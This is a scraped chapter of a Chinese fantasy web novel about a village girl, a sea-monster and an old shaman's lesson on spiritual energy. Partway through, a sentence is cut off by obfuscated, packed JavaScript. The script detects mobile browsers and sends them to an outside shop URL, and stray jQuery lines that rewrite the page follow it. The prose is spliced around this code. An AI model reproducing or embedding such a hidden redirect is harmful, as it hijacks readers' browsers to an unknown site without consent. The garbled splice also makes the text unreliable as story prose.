文趣网 > 其他小说 > 在鬼怪世界有换装系统 > 8. 第 8 章
    阿仓家的惨状与那恐怖怪物破窗逃跑的阴影,如同一块巨石沉重地压在陈家村每个人的心头。

    村民们合力抬着奄奄一息的阿仓叔去找村里的赤脚大夫,其余人也都怀着惶恐不安的心情陆续散去。

    陈氏脸色惨白,牵着二丫的手不住地发抖,一路把二丫拽回了自家小院,一进门就把院门锁得死死的。

    “这可如何是好……这可如何是好啊!”

    陈氏坐在堂屋的木凳上,眼眶泛红,拉着二丫的小手翻来覆去地看,说话都带着哭腔:“海婆刚刚说的话妳听见没有?那怪物吞了什么鬼婴,现在惦记上妳了!妳不过是个十一岁的孩子,要是真被那怪东西盯上,娘……娘还怎么活啊!”

    老麦将厚重的木门栓插好,走过来按住陈氏颤抖的肩膀,沉声安慰道:“孩子他娘,别慌!事情还没到绝路呢。二丫手里有海神保佑的灵物,刚才那怪物不就是被灵物发出的光震退的吗?说明神物能护着她!”

    “可那怪物不是逃回深海了吗?”陈氏抹着眼泪,声音哽咽道:“万一它伤好了再溜上岸怎么办?二丫总不能一辈子不出门。”

    老麦眼神坚定,拍了拍胸脯:“有我和大麦在!以后二丫去哪,我们父子俩就跟到哪!大不了我不去远海打鱼了,就在岸边守着!”

    坐在一旁的季晚秋轻轻为陈氏倒了一杯温水,声音温柔却平静:“陈婶,麦叔说得对,慌乱救不了急。二丫手上的彩虹贝壳蕴含着极强的镇煞之力,普通的邪祟根本近不了她的身。海婆老人家修行多年,定然也会想出破解之法。”

    二丫低头摸着袖袋里渐渐恢复平静的彩虹贝壳,听着家人的关切,心里既温暖又有些沉重。

    即便手心里传来彩虹贝壳微微的温热感,可只要一闭上眼睛,脑海里便会浮现出阿仓叔那鼓胀得几乎要炸开的肚子。

    那只浑身乌黑、满口尖牙的鬼婴。

    那双幽绿嗜血的眼珠子死死盯着自己 。

    二丫的小脸便瞬间褪尽了血色,下意识打了个寒颤。

    小手悄悄攥紧衣角。

    其实她很害怕。

    怕那怪物半夜突然敲响院门,怕爹娘像阿仓叔一样遭遇不测,更怕自己保护不了任何人。

    她才十一岁。

    几天前最大的烦恼,不过是今天能不能多捡几个贝壳、晚上有没有鱼汤喝。

    可现在,那些只存在于老人故事里的妖怪与邪祟,却真真切切闯进了她的生活。

    想到海婆最后那句「它会来找妳」,二丫只觉得胸口沉甸甸的,仿佛压着一块大石头。

    她低头摸了摸袖袋里的彩虹贝壳。

    微弱的暖意透过掌心传来。

    那暖意很轻。

    却让她慌乱不安的心,稍稍安定了一些。

    与此同时,村东头的海婆小屋内。

    青铜香炉里点燃了宁神驱邪的檀香,袅袅白烟在昏暗的屋子里缭绕。

    海婆端坐在蒲团上,双眼紧闭,手中的墨黑色鲸牙念珠被她一颗颗拨动,发出规律的清脆碰撞声。

    小铁站在一旁,小脸上满是焦虑与担忧。

    他几次欲言又止,终于忍不住上前一步,急切地问道:“师傅……刚刚在阿仓叔家,您说那怪物会来找二丫……二丫她才十一岁啊!我们有没有什么方法能帮到她?”

    海婆拨动念珠的手微微一顿,缓缓睁开了那双灰蓝色的瞳孔。

    “帮她?”

    海婆声音沙哑,幽幽叹了一口气:“那彩虹贝壳乃是几十年前守护陈家村的镇海灵物,如今灵物认二丫为主,这是她的造化,亦是她的劫难。”

    “那怪物吞噬鬼婴后凶煞大增,但灵物的力量对它而言是致命的剧毒,也是至高无上的补品。它若想彻底化凶,就绝不会放过二丫。”

    小铁握紧了小拳头:“师傅,您法力那么高,难道就没有什么阵法或者符咒能把二丫藏起来,或者彻底消灭那怪物吗?”

    海婆静静看着小铁,眼中的幽光闪烁不定。

    良久,她缓缓站起身来,转向屋内祭坛上供奉的那尊古老石雕,沉声道:“想护住二丫,光靠藏是藏不住的。那神物沉睡多年,二丫年岁尚小,根本不知该如何催动其真正的法力……若要化解此劫,唯有教她引导灵物之法。”

    小铁眼睛一亮:“师傅,您的意思是……要收二丫为徒,教她本事?”

    “......”

    许久。

    海婆缓缓摇头道:“老身想教,却未必有资格教。”

    小铁愣住。

    海婆抬头看向神像,目光复杂。

    “老身学的不过是祭祀驱邪之法,而那孩子手里的灵物……”

    “来历比老身想像的还要大。”

    海婆缓缓垂下眼帘,沙哑的声音在寂静的屋子里回荡,带着几分敬畏与唏嘘:“那彩虹贝壳散发出的本源水息,高纯至极。老身这点微末的巫祝皮毛,强行去套那上古灵物,只会招致天谴反噬。”

    小铁紧张地咽了口唾沫:“那……那怎么办?难道就任由二丫被那怪物盯着?”

    “不教她修行,却能教她如何养灵、避凶。”

    海婆转过身,灰蓝色的瞳孔看向窗外苍茫的大海,眼神逐渐深邃。

    “今晚子时,水气最重之时,你去把二丫带来,老身要告诉她镇海灵物的真名与忌讳,再传她一套『凝神避邪』的心诀。能悟出多少,就看她自己的造化了。”

    当夜,子时。

    海风呼啸,月亮被厚厚的乌云遮挡,黑沉沉的海面像是蓄势待发的巨兽,随时准备吞噬一切。

    二丫在大麦和季晚秋的悄悄护送下,避开了村里巡逻的壮丁,溜向海婆小屋。

    沿途夜色如墨,海浪拍打礁石的咆哮声在漆黑的村小路上显得格外阴森。

    大麦手里死死握着一把刚磨得锋利的砍柴刀,魁梧的身躯走在最前头,警惕地扫视着四周的风吹草动。

    他心里其实怵得发慌,一想到阿仓叔那可怕的肚子和破窗逃跑的怪兽,小腿肚子就直打转,可一想到身后的妹妹二丫,他愣是挺直了宽厚的脊背,强行拉开了防备的架势。

    “二丫,跟紧哥。”大麦压低声音,掌心全是冷汗,手背上的青筋暴起,“要是待会儿路上有啥不对劲的动静,妳跟季姑娘啥也别管,拔腿就往海婆小屋跑,哥顶在前面!”

    二丫看着自家大兄那紧张得紧绷的后背,心里暖洋洋的,小声说道:“哥,我不怕,我有彩虹贝壳呢。”

    “胡说,妳再有灵物也是个小丫头!”大麦微微侧过脸,虽然眼神里还夹杂着面对季晚秋时的腼腆拘谨,但更多的是兄长的担当与果决。

    “哥一身粗肉硬骨头,怪物要是敢伸爪子,哥先剁它两刀!”

    季晚秋在一旁看着这年轻渔夫笨拙却无比真挚的保护姿态,眼底微不可察地浮现出一丝温暖与赞许,她轻声道:“大麦兄弟放宽心,今夜周围水气虽然有些杂乱,但并无邪煞近身之象。”

    听到季晚秋开口,大麦耳根子又是一热,忙点了点头:“嗯……季姑娘也小心脚下,这泥路滑。”

    三人一路提防,终于安全溜进了海婆小屋。

    屋内香烛明灭,海婆盘坐在神像前,似乎早已等候多时。

    二丫小手紧紧拽着衣角,有些拘谨地叫了声:“海婆……”

    海婆睁开双眼,目光落在二丫袖囊处,缓缓开口:“二丫,妳可知妳手中那枚彩虹贝壳,究竟是何物?”

    二丫摇了摇小脑袋:“我……我不知道,就是昨天在东边礁石区挖到的,我看它好看……”

    “好看?”海婆微微苦笑了一声,苍老的目光落在彩虹贝壳上。

    “那是几十年前守护陈家村的镇海神器。传说它镇压着附近海域的阴邪水脉,令妖物不敢靠近、人村得以安宁。”

    “而它真正的名字,叫做七彩幻海螺,你手里的,正是它留下的一块残片。”

    二丫瞪大了眼睛,连忙把彩虹贝壳拿出来捧在手心。

    海婆凝视着二丫手中的彩虹贝壳,缓缓开口:“神物有灵,能选择妳,说明妳天生灵性充沛。”

    二丫眨了眨眼,有些茫然。

    “灵性?”

    海婆点了点头说:“这世上万物皆有灵,灵是万物滋长、感知天地的根本。”

    “人有灵则聪慧通达,妖有灵则幻化吐纳,怪物有灵则盘踞嗜血,万物皆在无声无息地积聚与消耗着自身的灵。 ”

    “山川有山川之灵,江海有江海之灵。这些灵累积无数岁月,甚至能诞生灵物与神异。”

    “而大多数生灵体内的灵十分微弱,感受不到,也运用不了。”海婆伸出枯瘦的手指,轻轻点了点二丫胸口。

    “灵本身如同一缕微弱的水汽,散漫且无形,当某个个体通过冥想修练、岁月沉淀、生死顿悟,抑或是吞噬天材地宝、血肉煞气,使体内的灵不断压缩、叠加,累积到了某个突破临界点时,散漫的灵便会凝结质变,化为可以被驱使、催动的灵力。”

    “妖兽依靠吞食血食与天地精华积累灵力。邪祟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923235|213492||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    依靠怨气、死气与阴煞之气积累灵力。而人则透过修行、感悟与天地共鸣,将体内的灵慢慢凝聚成灵力。”

    海婆静静地坐在昏暗的屋角,手中的黑色骨棒轻轻敲击着地面,发出“嗒、嗒”的沉闷声响。

    她微微抬起那双有些浑浊却无比深邃的眼睛,望向窗外无边无际的大海,眼神中仿佛浮现出了极其遥远的回忆。

    海婆缓缓开口,声音沙哑而冰冷,像是在讲述一段被岁月封尘的古老传说。

    “三十年前。”

    “老身见过一条老蛇,在礁石洞住了四十年。”

    “某一天。”

    ‘它引来海上雷霆。 ”

    “开了灵智。 ”

    屋内的空气随着海婆这几句幽幽的话语仿佛瞬间凝结了几分,连一旁的烛火都微微摇晃起来。

    二丫屏住了呼吸,小肚子微微起伏,听得入了神。

    海婆转过头,那锐利的目光落在了二丫身上,语气低沉而肃穆:“那条老蛇没有高人的指点,也没有仙门的功法,凭的……不过是在日复一日的海浪拍打中,去感应那天地间的一丝灵韵。它受得住四十年的寂寞,挨得过雷霆轰顶的生死劫,才换来那一朝开智蜕变。”

    海婆的目光落到彩虹贝壳上。

    “这枚七彩幻海螺残片,本身便积攒了极其庞大的水系灵力。它会选择妳,是因为妳身上的灵,比常人更加纯净 ,也更加容易与它产生共鸣。”

    海婆说到这里,眼神有些复杂。

    “说得简单些。”

    “在它眼里,妳是个适合承载它力量的人。”

    海婆的目光落在彩虹贝壳上,苍老的眼神里带着几分追忆。

    “二丫,妳可知道,灵物又是怎么诞生的吗?”

    二丫老实地摇了摇头。

    海婆缓缓说道:“万物皆有灵可绝大多数的灵会随着岁月流转而消散,只有极少数天生灵气汇聚之地,才能孕育出真正的灵物。”

    她抬手指向窗外苍茫的大海。

    “例如脚下这片海,日复一日,年复一年,无数水气、月华、朝阳紫气,以及海中生灵逸散出的灵汇聚一处。”

    “当灵累积到寻常生灵无法想像的程度时,便有可能产生神异。”海婆顿了顿,继续说:“有些化作灵泉、灵木、灵矿。”

    “而有些,则会诞生自己的意识。”

    二丫瞪大眼睛道:“像彩虹贝壳这样?”

    海婆点点头。

    “正是如此。真正的灵物,从来不是人打造出来的,它们是天地漫长岁月孕育出的孩子。”

    海婆轻轻伸出手,却没有去触碰彩虹贝壳,仿佛在敬畏某种古老存在。

    “而七彩幻海螺,传说便诞生于深海灵眼之中,它历经不知多少岁月,吞纳海潮之灵,汇聚万千水息,后来又受到海神祝福,才拥有了镇压邪祟、守护一方海域的力量。”

    海婆凝视着二丫道:“但今日那一击,已经彻底暴露了神物的气息。那头吞了鬼婴的怪物受了重伤,如今缩在深海大沟里疗伤,等它将鬼婴的邪力完全炼化之日,就是它上岸血洗陈家村、强夺神物之时!”

    听到“血洗陈家村”,二丫小脸唰地一下白了。

    “海婆……那我把它还给海边,或者丢掉行不行?这样怪物就不会来找我们了……”二丫声音带着一丝哭腔。

    季晚秋轻轻揉了揉二丫的头,柔声道:“傻孩子,灵物已经认妳为主,沾上了妳的气息。就算妳扔了它,那怪物吞了鬼婴后灵智大开,也一样会顺着气息来找妳。”

    海婆点了点头,从祭坛上取出一枚黑漆漆的骨坠递给二丫:“拿着这个,这是鲸骨沉香坠,能暂时掩盖妳和神物的大部分气息。从今天起,老身会传妳一套『凝神避邪』的心诀,妳每日清晨朝着太阳升起的方向默诵三遍,以此温养神物。”

    二丫接过冰凉的骨坠,郑重地点了点头:“我知道了,海婆!”

    “还有……”海婆深深地看了站在一旁的季晚秋一眼,突然开口道,“季姑娘,妳身上的气息很不一般。这段时间,就劳烦妳多看顾这孩子了。”

    季晚秋微微一愣,随即点头微笑:“海婆放心,晚秋明白。”

    夜色渐深,几人离开了海婆小屋。

    ***

    深海之中。

    一双幽绿色的瞳孔在黑暗里缓缓睁开。

    那怪物蜷伏在海沟深处,嘴角露出狰狞笑意。

    而它腹中。

    似乎传来了婴儿微弱的啼哭声。